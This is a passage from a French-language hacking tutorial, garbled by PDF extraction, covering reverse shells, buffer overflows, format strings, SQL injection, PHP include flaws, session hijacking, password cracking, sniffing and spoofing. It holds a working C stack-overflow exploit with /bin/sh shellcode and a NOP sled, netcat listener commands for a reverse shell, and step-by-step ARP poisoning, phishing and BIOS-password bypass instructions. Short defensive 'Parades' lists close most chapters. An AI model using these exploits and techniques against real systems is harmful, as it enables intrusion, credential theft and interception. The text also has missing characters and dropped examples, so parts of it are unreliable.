pour quils coutent deux ports de notre systme. Maintenant la cible va pouvoir se
connecter aux espions.
On peut maintenant crire des commandes sur lun des espions, le shell de la cible va
linterprter et nous renvoyer le(s) rsultat(s) sur lautre canal de communication.
Maintenant passons la configuration.
Sur notre machine, on doit avoir deux fentres de netcat :
- la premire, on a pass la commande : nc l v n p 714
- la deuxime, on a pass la commande : nc l v n p 417
La premire fentre va servir passer les commandes au shell de la cible, la deuxime
recevoir les rsultats de la cible.
Maintenant, vous allez taper la commande suivante dans votre navigateur prfr :
59
60
61
Dautres techniques de
piratage
62
63
Parades :
-
64
65
Dpassements de tampon
Analysons d'
abord lhistoire des dpassements de tampons. Puis nous verrons les
bases connatre pour mieux saisir la puissance de cette vulnrabilit. Nous verrons
en dernier comment les pirates font pour mettre en place une attaque par dpassement
de tampon.
66
le language C
Nous allons seulement voir les trois principales fonctions qu'
utilisent gnralement
les pirates pour effectuer un dpassement de tampon .
Il y a :
Nom du registre
pour les systmes
16 bits
EAX
AX
EBX
ECX
EDX
ESI
EDI
ESP
EIP
BX
CX
DX
SI
DI
SP
IP
EBP
BP
Fonction
Registre
accumulateur
Registre de base
Registre compteur
Registre de donnes
Index de sources
Index de destination
Pointeur de pile
Pointeur
dinstruction
Pointeur de base
Signification
Segment de Code
DS
Segment de Donnes
ES
Extra-Segment
SS
Segment de Pile
67
Fonction
Il a comme valeur ladresse
du commencement des
instructions dun
programme
Il a comme valeur ladresse
du dbut des donnes
quutilise le programme
Il a comme adresse un
segment de donnes libre
Il a comme adresse celle de
la pile
Il sont comme ES
FS et GS
certaines instructions :
Nom de linstruction
CALL
RET
RETF
NOP
Fonction
Linstruction CALL permet de se
brancher une sous-routine laide de
branchements intra-segments ou extrasegments. Lors de lutilisation de cette
instruction, le registre IP est mis sur la
pile, on lui affecte ladresse de la sousroutine et lorsque la sous-routine a fini
dtre excute, la prcdente valeur de IP
est charge
Permet de revenir au programme parent (
ou encore appelant ) lorsquune sousroutine sest excute
Son but est semblable celui de RET. Sa
particularit est quelle permet de revenir
au programme appelant mme sil se
trouve dans un autre segment
Cest une instruction qui ne fait rien et
passe linstruction suivante.
POP et PUSH :
Pour mettre une donne sur la pile, on utilise l'
instruction PUSH et cela s'
appelle faire
un empilement, ce moment-l, SP est dcrment de deux octets pour les mots, 4
octets pour les double mots
68
la pile :
La pile est un espace utilis par les programmes pour placer temporairement les
lments et pouvoirs les rcuprer plus tard. La pile est de type LIFO (Last In First
Out = le premier lment entr est le dernier sorti) cest--dire, pour ceux qui
n'
auraient pas compris que la pile se rempli de la fin vers le dbut (un peu comme un
verre que l'
on remplit d'
eau).
l'injection et l'excution :
Le but de tout ce que l'
on va faire, va tre de faire excuter un shellcode par le
programme cible : plus le logiciel aura des droits levs plus notre shellcode aura des
possibilits daccs levs.
Le buffer que lon va injecter peut aussi contenir un lien vers une adresse o l'
on aura
plac le shellcode (ou uf).
Avant de continuer, voyons o l'
on peut placer luf. Ce dernier peut-tre plac dans
un fichier, dans des variables d'
environnement, directement sur la pile, dans une
bibliothque dynamique des fonctions
Pour se brancher directement sur luf , nous allons voir 3 mthodes : le
branchement direct, l'
utilisation de la fonction CALL, le retour une adresse
approximative.
-
69
crer son uf :
Luf correspond la charge centrale de l'
attaque. Un oeuf attaque gnralement une
faille qui permet de faire planter le systme cible ou pouvoir accder des fichiers
Luf doit donc tre bien cod.
Pour crer un oeuf, le conseil serait d'
crire le moins de code possible, d'
utiliser le
plus possible les ressources offertes par le systme cible (comme les bibliothques
dynamiques que possde le systme, les appels systmes ou syscall), de passer par le
shell pour simplifier la recherche et l'
accs un fichier et de laisser un backdoor.
Le shellcode peut tre crit en language C. La plupart de ses instructions devront tre
des appels systmes (syscall).
Exemple : exit(0) doit tre remplac par _exit(0)
Quand le shellcode sera prt, on va le compiler et le dsassembler (car un shellcode
doit tre en language assembleur). Il faut surtout conserver les parties du shellcode
qui utilisent des interruptions et dautres fonctions fournis par le systme (do
lutilisation de syscalls qui utilisent ces genres de fonctions systmes). Quand tout est
enfin prt (je parle bien sr du shellcode cod en assembleur), il va falloir transformer
ou plutt traduire notre uvre en hexadcimal et coder dans notre language prfr
les instructions qui vont nous permettre de lancer notre shellcode.
Le buffer overflow peut aussi permettre de crer deux canaux de communication
entre le systme pirate et le systme cible : un peu comme faire un telnet invers.
Si l'
on veut placer notre uf sur la pile et faire un branchement direct ou un
branchement par retour une adresse approximative, luf peut contenir au dbut une
suite plus ou moins longue d'
instructions NOP car les caractristiques de cette
instruction est de ne rien faire et de passer l'
instruction suivante. Pour finir, le code
devra tre encoder car certains programmeurs filtrent les lments d'
un tampon.
Vous tes maintenant capables de crer votre propre attaque par dpassement de
tampons.
70
Vous pouvez aussi maintenant crer un uf qui vous donnera un accs au systme ou
qui le fera tout simplement planter.
La cration dun uf peut aussi vous permettre d'
exploiter plusieurs failles en mme
temps.
Quelques informations :
Pour russir une attaque de type buffer overflow, le pirate doit arriver overwriter
ebp et eip qui sont gnralement placs aprs le buffer mit sur la pile (stack).
Lors de lappel dune fonction, gnralement le processeur doit sauvegarder
lenvironnement pour quon puisse le retrouver aprs lexcution de la fonction. Le
processeur place largument de la fonction, puis il appelle la fonction. Il PUSH eip
puis sauvegarde ebp laide dun :
push ebp
aprs tout cela, il place esp (qui contient ladresse du dernier lment de la pile) dans
ebp. Ensuite, il dcrmente esp pour quil puisse contenir les nouvelles variables (et
oui cest une soustraction qui est fait car la pile crot vers le bas sur Little Endian).
Pour finir, on place esp.
Ca donne gnralement un truc du genre :
<- a va vers le haut de la pile
[ buffer ][ ebp saved ][ eip saved ][ variable ]
a va vers le bas de la pile ->
Buffer Overflow
En premier, il y a le buffer overflow qui sert craser des donnes sur la pile. Voici
un code exemple :
71
Par contre, si lon passe une chane de plus de 100 caractres (mme de 2 mots de
plus soit 108 caractres), on voit safficher un beau :
Program received signal SIGSEGV, Segmentation Fault.
Maintenant voyons comment il serait possible dexploiter cette faille. Il nous faudrait
dabord dsassembler le mini programme et mettre un point darrt sur la fonction
strcpy() pour ensuite connatre ladresse de buffer : il contiendra le code dattaque.
Astuce : aidez-vous de loprateur & pour afficher grce gdb ladresse de buffer :
print &buffer.
Sachant que buffer accepte 100 caractres et que ebp et eip valent en tout 8 octets (4
chacun car ce sont des mots). On va dire quavec 108 caractres on aura
compltement overwrit [ ebp saved ].
Voici un code dattaque qui pourrait permettre dattaquer ce code :
#include <stdlib.h>
#include <stdio.h>
#define BUF_PROG 100
#define LE_PLUS 8
int main()
{
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40"
"\xcd\x80\xe8\xdc\xff\xff\xff"
"/bin/sh";
char addr[] = "[ici_adresse_du_buffer]";
char buffer[110];
72
int a;
int i;
for (a = 0; a < ((BUF_PROG+LE_PLUS)(strlen(addr)+strlen(shellcode))); a++)
buffer[a] = '\x90';
for (i = 0; shellcode[i]; i++, a++)
buffer[a] = shellcode[i];
for (i = 0; addr[i]; i++, a++)
buffer[a] = addr[i];
execl("/root/Khaalel/Overflows/exemples/faille13/vulnerable",
"vulnerable", buffer, NULL);
}
Normalement vous devriez avoir compris un peu plus la notion de buffer overflow.
Off-by-One Overflow:
On est toujours dans les vulnrabilits de type buffer overflow. Loff-by-one (ou
encore frame pointer overwriting) est une technique qui est spciale car gnralement
elle nest pas provoque par lutilisation dune fonction faisant dfaut. En effet, le
responsable est le programmeur qui ne fait pas toujours attention au code de son
programme.
Voici par exemple le bout de code dun programme :
char buffer[150];
for (i = 0; i <= 150 && chaine[i]; i++)
buffer[i] = chaine[i];
A premire vue, elle na pas de vulnrabilits. Et bien si, elle en a une, qui est de type
off-by-one. O ? et bien vous allez tout de suite le savoir.
Le programme dclare un tableau de caractres qui peut contenir 150 caractres.
Pour information, vous devez savoir que le tableau de caractres chaine est fournit en
argument au programme par lutilisateur et que le programme na pas fait de
vrification sur la chane.
Ensuite le programme met la chane de lutilisateur dans le tableau buffer en utilisant
une boucle for.
73
Pourquoi?
Il copie intgralement les 151 caractres car la boucle commence 0 pour boucler
151 fois jusqu 150 (et oui de 0 150, il y a 151 pas car on commence compter
partir de 0), mais le problme est le tableau qui naccepte que 150 caractres
entranant lcrasement et loverwriting du dernier octet de [ ebp saved ].
Le problme rside en faite dans lutilisation de loprateur : <= dans la boucle
for quil faudrait ventuellement remplacer par un simple < .
Cest vrai quon ne peut crire de shellcode sur un octet, mais cela ne veut pas dire
que cette vulnrabilit ne sert rien car si la pile est encore excutable, on peut
toujours crire sur cet octet ladresse o se trouve le shellcode. Si vous ne connaissez
pas ladresse exacte du shellcode, vous pouvez toujours faire une technique de brute
forcing, qui va tester chaque adresse en mmoire jusqu trouver celle qui contient le
shellcode.
Heap Overflow :
Le heap overflow est une technique de overflow qui diffre de lhabituel stack
overflow car tout ce passe dans le heap (ou encore tas).
Quest-ce-que le tas ?
Et bien, comme la pile, cest une section en mmoire qui contient des lments.
La pile contient les lments qui vont tre excuts par le processeur et qui sont
placs dans un ordre bien dfini. Le tas contient les variables alloues
dynamiquement et qui sont places dans un ordre alatoire car il ny a pas de rgles.
Cette vulnrabilit est base sur lutilisation des fonctions malloc( ), free( ) et unlink(
).
74
Pour russir cette attaque, il va falloir crire plus de donnes que peut en recevoir le
premier bloc de la zone mmoire alloue pour pouvoir crire dans le chunk de la
deuxime zone de mmoire.
Que crire et o ?
Et bien, un chunk est constitu de plusieurs champs : 4 en faite.
prev_size
size
fd
bk
Sans entrer dans les dtails, la plupart du temps, il faudra mettre dans le champs
prev_size, que le chunk est libre (en relisant ce pourquoi free() est important, vous
comprendrez), dans le champs fd, il faudra crire ladresse o lon veut mettre notre
shellcode et dans le champ bk, ladresse o se trouve le shellcode.
Pour plus dinformations sur le heap overflow, je vous conseille de lire larticle
Once upon a free() du phrack 57.
Parades :
- contrler tous les lments passs sur la pile
- pour dtecter si une application est vulnrable, analyser son code source (
l'
aide de scanner de vulnrabilit) ou encore tester manuellement le
fonctionnement de l'
application en y faisant un petit audit.
75
76
77
Le dtournement de sessions
Le dtournement de session (ou encore hijacking) est une technique de piratage qui
consiste s'
emparer de la connexion d'
une autre personne.
Cela peut pas tre assimil de l'
IP spoofing car l'
on se fait passer pour une personne
que l'
on n'
est pas.
Nous allons voir deux types de dtournement de sessions :
- celui qui consiste envoyer des paquets avant le client,
- celui qui consiste se faire passer pour ce que l'
on n'
est pas dans le but de
faire de l'
espionnage ou de rdiger le client o nous le voulons.
Ne vous attendez pas un manuel de cuisine qui vous explique quoi faire, quel
moment, et quels doivent tre les rsultats car comme l'
IP spoofing, il n'
y a pas de
protocole type appliquer et les rsultats dpendent de l'
environnement dans lequelle
on se trouve, aussi de notre but.
78
envoyer A un paquet ACK ayant comme IP source celle de B, puis il devra trouver
le moyen de communiquer tranquillement avec A en se faisant passer pour B sans que
ce dernier ne donne signe de vie. Pour cela, il peut faire planter B et associer son
adresse MAC lIP de B en faisant du DNS spoofing.
Le systme C peut aussi infiltrer le systme B et y mettre un programme qui sniffera
le trafic rseau de B et qui aura comme 2me mission de faire suivre, vers le systme
C, les paquets provenant de A pour que C puisse rpondre la place de B. Il ne faudra
pas oublier d'
ajouter, au programme, une fonction qui bloquera tout paquets mis de
B en direction de A.
exemple de routeurs :
exemple de proxys :
Achilles qui est un serveur proxy qui permet de capturer, modifier (si on le veut)
et faire suivre les requtes d'
un client. Pour que cela fonctionne, il faut installer le
programme sur notre systme puis il va falloir configurer les paramtres Internet de la
victime.
Il y a deux paramtres modifier : il faut modifier le serveur Proxy qu'
utilise la
victime.
Sous Internet Explorer, aller dans Outils/Options Internet/Connexions et dans les
paramtres de la connexion de la victime il faut mettre notre adresse IP dans le champ
Adresse : du serveur proxy et mettre dans le champ Port : le port qucoute Achilles
sur notre systme.
79
80
Il y a quelques temps, les serveurs DNS (dont certaines versions de BIND) pouvaient
tre dtourns avec diffrentes mthodes.
En voici une :
Il fallait empoisonner le cache du serveur DNS cible avec de fausses informations.
Pour raliser cela, le pirate demande la cible de faire une requte DNS de type A
(rsolution de nom) vers le systme DNS du pirate. Ce dernier va renvoyer une
rponse fausse (cela peut par exemple servir dtourner le trafic dun site web).
La cible tait bien sur le DNS vulnrable.
81
82
Formats Strings
mais dou vient-elle ?
La vulnrabilit des chanes de format existe parce que les dveloppeurs de logiciels
ne contrlent pas la validit des arguments externes utiliss dans les fonctions de la
famille printf( ).
Avant d'
aller plus loin, il faut quand mme savoir ce quest une chane de format.
Une chane de format est une chane de caractres cre lors de l'
excution d'
un
programme l'
aide de spcificateurs de formats tant associs une variable.
Cette vulnrabilit va nous permettre de lire et crire dans la pile d'
excution.
lire en mmoire :
Lire en mmoire peut servir obtenir le mot de passe d'
une application lorsque le
programme le conserve
Pour lire en mmoire, il faut utiliser le spcificateur %x , qui lit des lments de
quatre octets ou le spcificateur %s qui lit des lments des emplacements
mmoires arbitraires.
crire en mmoire :
Cette technique va nous permettre dcrire en mmoire des shellcodes, des pointeurs
vers un shellcode, remplacer des entres, des adresses de retour d'
une fonction,
craser les valeurs
Pour crire en mmoire, il faut utiliser le spcificateur %n .
83
Parades :
- contrlez la validit et le type des lments externes,
- faites un audit du code des applications,
- crez ou appliquez des patchs pour la scurisation de la pile. Des patchs
donnant certaines restrictions aux fonctions en mmoire et protgeant la
pile.
84
85
SQL injection :
Cette faille qui consiste contourner une authentification de session n'
est possible
que sur les serveurs qui ne filtrent pas les caractres dit spciaux comme les
guillements " , lapostrophe , le slach / , lanti-slach \ et les caractres
ASCII
Comme nous venons de le voir, pour raliser cette attaque, on doit se trouver en face
de serveurs autorisant (ne filtrant pas si vous prfrez) les caractres dit spciaux ,
et l'
utilisation des mots cls comme OR, AND, NOT
Un peu de thorie avant de passer la pratique. Pour quune requte russisse, elle
doit tre dclare vraie par le serveur, et c'
est cela son point faible car si l'
on utilise
des galits toujours considres comme vraies la place du contenu des variables
que peut bien faire le serveur ne filtrant pas les caractres spciaux a part accepter la
requte qui est vraie.
Les exemples valent mieux que des explications pour comprendre cette technique.
86
Tout ce que nous venons de voir sur le SQL injection est utilisable si l'
on ne connat
ni lid ni le mot de passe d'
une des vritable personnes sauthentifiant sur le site. Ds
fois, on connat au moins lid (login) d'
un des inscrits. Il va donc falloir modifier les
requtes que l'
on avait cr pour qu'
elles prennent en considration ce nouvel
lment.
87
la faille include() :
En programmation, la fonction include( ) permet d'
inclure des fichiers externes dans
le code source utilisant cette fonction. L n'
est pas le problme !
Gnralement, les crateurs de sites Web dynamiques utilisant cette fameuse fonction
oublient de faire un contrle sur les fichiers inclus, il est donc possible dinclure ce
que l'
on veut et pourquoi pas les fichiers de configuration du serveur cible ? Ou le
fichier de mots de passe ? ou encore un fichier d'
un autre site/serveur ?
Voici un bout du code d'
un script PHP utilisant la fonction include ( ) :
<?
include ($page) ;
?>
ou encore
88
<?
?>
La deuxime mthode de scurisation est utiliser pour toutes les pages du site qui
peuvent tre inclus dans une requte et la possibilit de ne pas permettre dinclure
n'
importe quel fichier mme s'
il existe sur le serveur.
Une autre mthode de scurisation pourrait passer par l'
utilisation dune fonction qui
listerait le contenu d'
un rpertoire prcis pour savoir si les fichiers inclure sont
prsents sur le serveur.
la fonction fopen( ) :
La diffrence entre fopen( ) et include( ) est que la premire fonction ne fait pas
quinclure le fichier mais louvre aussi. De plus, les inclusions de fichiers sont de plus
en plus filtres, alors que les ouvertures de fichiers avec fopen( ) ne le sont pas
vraiment.
Cette technique est utilisable seulement si la fonction fopen( ) utilise une variable
comme argument :
<? fopen($var, r); ?>
les CGI :
89
Les CGI (Common Gateway Interface) sont des applications Web visibles et
utilisables par les navigateurs. Les CGI sont la base crs pour donner une certaine
interactivit avec l'
utilisateur, gnrer dynamiquement des pages, images () et
enregistrer des informations donnes par l'
utilisateur.
Les CGI sont gnralement constitus de deux lments de base: un formulaire que
voit et rempli l'
utilisateur, et d'
un programme qui traite les informations fournies.
Pour pouvoir bien fonctionner, les CGI ont besoin des donnes de l'
utilisateur, qui
seront envoy au CGI l'
aide de mthodes de transfert des donnes (les principaux
sont GET et POST). Pour bien traiter les donnes, et les demandes, les CGI utilisent
des variables d'
environnement puis renvoient le(s) rsultat(s) .
Ces applications peuvent tre crites dans divers langages (C, PERL) .
Les CGI ont malgr tout certains inconvnients plutt important : ils sont excuts sur
le serveur Web et disposent gnralement de droits trs levs donc si les CGI sont
pirats, les auteurs de ce mauvais tour pourront excuter divers programmes sur le
serveur o rside le CGI. Et pourquoi ne pas utiliser un shell ? Ou afficher le fichier
de mots de passe ?
Pour dcouvrir les vulnrabilit dont souffre certains CGI, les pirates utilise des
scanners de vulnrabilits de CGI comme whisker de RPP, N-STEALTH
Voyons comment dcouvrir manuellement des failles dans les CGI.
90
Le fichier robot.txt
robot.txt est un fichier qui est plac la racine dun site web et qui est utilis par les
moteurs de recherche.
Lorsque ces derniers rencontrent ce fichier, ils ne vont pas inclure dans le rsultat de
la recherche les rpertoire qui se trouvent dans le fichier : il sert donc cacher des
rpertoires.
Par contre, lorsque lon fait une recherche avance dans google ou dans dautres
moteurs de recherches en spcifiant que lon veut accder tous les fichiers robots
quils ont conserv dans leurs bases de donnes, les moteurs de recherches nous
affichent une liste incroyable (mais vrai) de liens vers des fichiers robots. Cela peut
permettre un pirate de se dplacer dans des rpertoires privs qui peuvent contenir
des donnes importantes ou non (comme les rpertoire dadministration du site, le
rpertoire o est situ les fichiers de la base de donnes) .
Ce nest pas une faille : ce fichier est un lment double tranchant facilitant la tche
des moteurs de recherches et des webmasters mais aussi des pirates.
Dautres fichiers
Lorsque lon cr un site, on a souvent envie de protger laccs certains fichiers ou
rpertoires. Cela est possible grce aux fichiers .htaccess et .htpasswd.
.htaccess va tre le fichier qui protge le rpertoire grce un mot de passe et
.htpasswd le fichier qui contient le mot de passe. Pour information, .htaccess dtient
ladresse du fichier .htpasswd.
Il est possible daccder au contenu de ces deux grce son navigateur. Google peut
parfois tre utile pour chercher les fichiers prcdemment cits.
Parades :
- utilisez les fonctions de scurit des langages utiliss pour crer des
applications Web,
- faites un audit de scurit des codes des scripts de votre site,
- faites des contrles sur les arguments passs au fonctions,
- il faut que les serveurs Web et mails filtrent les caractres spciaux mis
dans les requtes.
91
92
Messageries et cookies
Dans ce chapitre, nous allons apprendre analyser les champs des en-ttes des mails,
cela va nous permettre de savoir qui est le vrai metteur d'
un message et plein d'
autres
choses encore. Puis nous allons voir comment les pirates et pleins d'
autres personnes
envoi de messages lectroniques anonyme. Pour finir ce chapitre, nous allons parler
des cookies, de leur formation, de leur constitution, et de leur fonctionnement.
messages lectroniques :
Tout message transmis par internet est constitu de 2 parties : len-tte (header) et le
corps (body).
Champs de base :
Voici la description des champs de base de len-tte dun message :
Date: : fournit la date et lheure de la rdaction du message.
From: : fournit ladresse de la personne ayant mis (transmis) le message.
To: : fournit ladresse du destinataire.
Subject: : fournit lobjet (ou sujet) du message.
Autres champs :
Cc: : (Carbon Copy, copy carbone) permet denvoyer le message plusieurs
personnes ; il peut contenir plusieurs adresses de messageries spares par des
virgules.
Bcc: : (Blind Carbon Copy, copie cabone cache), comme Cc : , permet
denvoyer le message plusieurs personnes, la diffrence est quavec Bcc : , les
diffrents destinataires ne savent pas quelles autres personnes le message a t
envoy.
Reply-To: : permet de spcifier une adresse de retour autre que celle mis dans
From :.
Message-id: : ceci est lidentifiant unique du message, gnr par le logiciel de
messagerie.
Received: : champ ajout par un serveur SMTP ds quil le reoit et avant son
envoie au relais suivant.
93
From ( ne pas confondre avec le From de base qui contient deux points : ) et
Return-Path: contiennent une adresse qui permet de remonter lexpditeur. (a
peut servir quand on a affaire un spammer). Ces champs sont ajouts par le dernier
relai dlivrant le message.
Sender: contient une adresse lorsque From: nest pas celle de la personne ayant
rellement mis le message.
Resent-From: contient ladresse de la personne qui a crit le message
(normalement cest la mme personne que celle layant mis, jai bien dit
normalement)
Pour ceux qui veulent aller plus loin, sachez que certains en-ttes HTTP ont les
mmes en-ttes que ceux tant dans les messages lectroniques. Cela peut permettre
de contourner certaines protections tant dans les logiciels de messageries gratuites
(comme Hotmail) en travaillant directement dans les en-ttes des messages
lectroniques.
messageries anonymes :
A quoi peuvent bien servir les messageries anonymes ?
Se protger, se cacher, masquer la source (lexpditeur) dun message. Oui, cest vrai,
mais pas seulement, cela peut aussi servir ne pas fournir aux destinataires (ou pirate
sniffant ou contrlant un systme qui r-achemine des paquets comme des serveurs et
des routeurs) les informations contenues dans les en-ttes de messages
Maintenant, nous allons voir diffrents moyens pour tre anonyme sur internet avec
notre messagerie.
94
Conclusion :
Utiliser les 2 techniques nonces dans cette partie pour votre anonymat.
les cookies :
Vous avez dj du entendre parler des cookies , ces petits fichiers textes contenant
des informations envoyes par le serveur au client et tant stocks par le client (vous
si vous prfrez).
En 1990, Montulli de Netscape, cra le cookie pour quil puisse assurer une certaine
persistance dans la communication sur le web (comme les transactions).
95
secure
Champ qui, sil est mis, envoie le cookie et sa valeur seulement lors de
connexions chiffres laide de SSL.
Fausses informations:
Les cookies ne sont pas des virus, car ce sont simplement des fichiers textes
ouverts avec le bloc note donc il est impossible de pouvoir faire excuter des
scripts sur le poste du client.
Comme un cookie ne peut tre ni un script ni un virus ni un programme, alors il
ne peut pas lancer de recherche sur le systme du client dans le but dy rechercher
des informations.
Comme le stockage des cookies est limit, il est impossible de porter une attaque de
type DoS sur le systme du client (en tout cas pour le moment, on ne sait jamais ce
que lavenir nous rserve).
96
97
Cracking
et
contournement de mots de passe
Ce chapitre pratique est orient comprhension des techniques du piratage des mots
de passe.
Avant de continuer, je veux vous prvenir que je ne dcrirais pas la technique qui
consiste essayer manuellement des mots de passe car des fois on est limit dans le
nombre d'
essais.
BIOS :
Il existe diffrentes techniques pour enlever ou cracker un mot de passe BIOS.
Pour savoir comment l'
on accde au Bios, comment il fonctionne, rfrez-vous au
manuel de votre carte mre.
le cavalier :
La technique la plus simple et qui fonctionne chaque fois est le dplacement du
cavalier (jumper) qui a pour but deffacer les donnes contenues dans le CMOS (cf le
manuel de votre carte mre). Ce cavalier est gnralement situ ct de la ROM
BIOS.
Protocole : changer le cavalier de positions (gnralement en position 2-3) attendre
quelques secondes puis le replacer en position initiale. Si tout s'
est bien pass, on ne
devrait plus avoir de mots de passe au dmarrage.
un peu de technique :
En dcidant de travailler sur la carte mre pour avoir le mot de passe BIOS, on peut
flasher le Bios en le reprogrammant l'
aide reprogrammateur de EEPROM. Il y a
bien sr une chance sur deux de russir. De plus, il faut avoir des bases en
lectronique, en hardware, ou en overclocking car on risque de perdre votre carte.
la pile :
98
Cette technique ncessiter aussi de travailler sur la carte mre. Cette pile se situe sur
la carte mre, elle permet la sauvegarde d'
informations comme lheure systme
Il faut la localiser puis la dcharger en l'
enlevant pendant une journe voir plus.
des logiciels :
Certains logiciels nous propose de voir le mot de passe BIOS du systme. Mais il faut
avoir au moins une fois accs au systme d'
exploitation pour pouvoir les installer.
Voici 2 logiciels permettant de voir le mot de passe du BIOS :
AMI BIOS RECOVER
AWCRACK
99
100
le simple redmarrage :
Pour contourner un cran de veille ayant un mot de passe, le redmarrage est un bon
moyen qui ,cela est vrai, ne sert rien, car la personne effectuant ce redmarrage ne
pourra voir ce que vous tiez en train de faire.
les logiciels :
Vous pouvez aussi utiliser les logiciels comme Sreen Saver Password
(www.ptorris.com).
Ce logiciel fonctionne avec le fichier user.dat disponible dans le rpertoire de la
session de l'
utilisateur soit C:\Documents and
Settings\[nom_de_utilisateur] sous Windows XP Pro service Pack 1. Pour
les autres systmes bas sur NT, explorer vos rpertoires C:\ ou C:\Windows\ ou
encore C:\Windows\Profiles\ la recherche du rpertoire de la session cible.
regedit :
Le mot de passe de l'
conomiseur dcran est aussi situ dans la base de registre, dans
la cl : HKEY_Users\.Default\Control Panel\ScreenSave_data
La cl peut changer selon votre version de Windows.
Vous pouvez aussi fouiller les cls commenant par HKEY_CURRENT_USER\ ou
HKEY_USER\
101
autorun.inf :
Les CD peuvent, sils sont quips d'
un fichier autorun.inf, lancer automatiquement
des fichiers ou programmes ds leur entre dans le lecteur CD-ROM.
Cette caractristique fonctionne aussi lorsque l'
on lance l'
cran de veille. Donc
imaginer un CD ayant un fichier autorun.inf qui contienne ladresse (sur le cd) d'
un
cracker de mots de passe d'
cran de veille aprs open= du fichier autorun.inf .
Pour information, tout les chemins daccs des logiciels ou des fichiers tant aprs
open= sont excuts automatiquement lors de l'
insertion du cd dans le lecteur.
divers :
Il existe des logiciels pour cracker diffrents types de documents protgs par mots de
passe comme les fichiers ZIP, ARJ
Des sites comme celui de Pierre Torris (www.ptorris.com) et la plupart des sites
warez proposent des crackers de mots de passe de tout genre.
102
Parades :
103
104
Sniffing
Le sniffing est une technique du piratage que l'
on dit passive. C'
est surtout une
technique servant espionner le trafic dun systme en surveillant et en copiant les
paquets non crypts circulant sur le rseau cible : cela va permettre de rcuprer
diverses informations importantes pour un pirate. Contrairement ce que vous
pouvez croire et se que certains sites font croire, un sniffer ne permet pas
d'
espionner distance un systme loign et ne permet pas de contrler la formation,
le forgeage, la route et lacheminements dun paquet.
La principal source de russite du sniffing est que les informations (mots de passe,
logins, mails, requtes) circulant dans le rseau ne sont pas cryptes.
Comme il a t dit plus haut, un sniffer (logiciel permettant de faire du sniffing) ne
capture que les paquets passant par la carte rseau du systme sur lequel il est install.
Donc pour espionner le trafic du systme cible, il faut que ces paquets transitent par
notre carte rseau.
Un peu de pratique maintenant.
ARP :
(cf le chapitre sur le dtournement de sessions et le spoofing)
Cela consiste associer l'
adresse IP de la passerelle par dfaut notre adresse MAC
(l'
adresse de notre carte rseau) . Comme cela, le trafic du systme cible passera par
notre carte rseau. Cette manipulation est effectuer sur les systmes s'
occupant du
routage comme les switchs, les routeurs ou sur le systme cible. Pour que le trafic
du rseau ne soit pas modifi et pour que lon ne remarque pas cette usurpation, on
105
doit activer lIP forwarding et ajouter une entre dans la table ARP de la cible pour la
vritable passerelle par dfaut.
On peut aussi modifier la table de routage du rseau de la cible. Le rsultat sera le
mme, associations de notre adresse MAC l'
adresse IP de la passerelle par dfaut.
lien direct :
On peut se connecter directement au systme cible :
- soit en appelant le modem de la cible avec le notre (c'
est la technique la plus
simple qui ne marche peut-tre plus encore) : on doit alors connatre le
numro de son modem que lon peut obtenir grce au wardialing.
- soit en utilisant une faille du genre : exploit netbios
- soit en utilisant un cheval de troie.
Parades :
- utilisez anti-sniff (qui repre les sniffers et les cartes rseau en mode
promiscuit),
- cryptez les paquets circulant sur le rseau,
- vrifiez rgulirement les tables de routage,
- dsactivez les protocoles non utiliss.
106
107
Le spoofing
Le spoofing est une technique de piratage qui a pour but dusurper les droits d'
une
personne ou de fournir de fausses informations pour se camoufler ou passer les
systmes de scurit.
Il existe plusieurs types de techniques de spoofing ayant des degrs de difficults
variables. Il y a par exemple le SMS spoofing, le mail spoofing, lIP spoofing, le
DNS spoofing, lUDP spoofing, , lARP spoofing, le MAC spoofing (en rapport avec
les adresses MAC) et on peut inventer encore pleins de technique !
Comme certains pourrait le croire cet ouvrage ntablit pas les bases pour crer de
nouvelles attaques, il veut seulement expliquer quen analysant les systmes et les
protocoles qui servent au bon fonctionnement des rseaux, on peut trouver des
faiblesses qui vont permettre de modifier certaines donnes ou d'
intercepter certains
signaux ou messages pouvant servir passer certaines scurits et faire croire un
systme qu'
il dialogue et fonctionne normalement. Cette mthode d'
analyse est aussi
utilise dans lhijacking (dtournement de session et de connexion).
Voyons maintenant diffrentes techniques de spoofing.
le SMS spoofing :
le SMS spoofing consiste envoyer des SMS avec un numro d'
expditeur ne nous
appartenant pas. Cela est possible l'
aide de logiciels comme Text2gsm
(www.download.com) ou en crant ses propres scripts.
le mail spoofing :
Le mail spoofing consiste envoyer des e-mails avec une adresse d'
expditeur
falsifie.
Cela est possible l'
aide de logiciels (comme toujours) servant envoyer des e-mails
ou faire du mail-bombing, l'
aide de scripts en PHP ou en PERL que vous pouvez
dvelopper.
La technique de mail spoofing prcdemment explique est la plus connue car est
la base du spam.
Maintenant, imaginez un serveur pop/imap secret, le serveur de l'
entreprise ou d'
un
gouvernement. Disons qu'
un pirate a dcouvert son existence et quil a russi
obtenir une dizaine d'
adresses de comptes mails tant hbergs sur ce serveur.
108
Pour savoir qui ils appartiennent, et les informations de connexion aux comptes, il
dcide d'
envoyer des messages lectroniques aux adresses obtenues en se faisant
passer pour ladministrateur. Pour l'
occasion, ils crer un client de messagerie
intgrant un mcanisme d'
accuser rception indiquant que le mail a bien accd au
serveur pop/imap cible. Mais aprs avoir envoy les mails, il ne reoit toujours pas de
rponses et dcide d'
infiltrer le serveur. Il passe des heures inspecter de fond en
comble la machine et accde enfin aux informations qui voulait : les logins et les
mots de passe des mail box. Tout content, il se dconnecte aprs avoir effacer ses
traces.
Le lendemain, en cours (car il y a quand mme des pirates tant jeunes), il repense
soudain son exploit de la veille et se demande pourquoi ces mails n'
ont pas accd
au serveur pop. Le soir venu, il se reconnecte au serveur et aprs une analyse
minutieuse, il dcouvre enfin que les mails sont filtrs au niveau des en tte SMTP
avant d'
tre dposs sur le serveur; il comprend vaguement que les e-mails doivent
avoir un certain mot dans leurs en tte pour tre accepts. Aprs des heures
d'
exprimentation, ces mails accdent enfin au serveur cible.
Ce petit scnario imagin a essay de faire comprendre que l'
on pouvait crer des
mcanismes de filtrage mme au niveau des messages lectroniques et que tout peut
tre contourner avec un peu de connaissances.
lIP spoofing
Cest l'
attaque la plus connue peut-tre grce Kvin Mitnik, le hacker le plus
mdiatis du monde, qui avait, daprs ce que lon dit, russi son attaque en faisant
une prdiction des numros des squences : nous verrons plus tard en quoi cela
consiste.
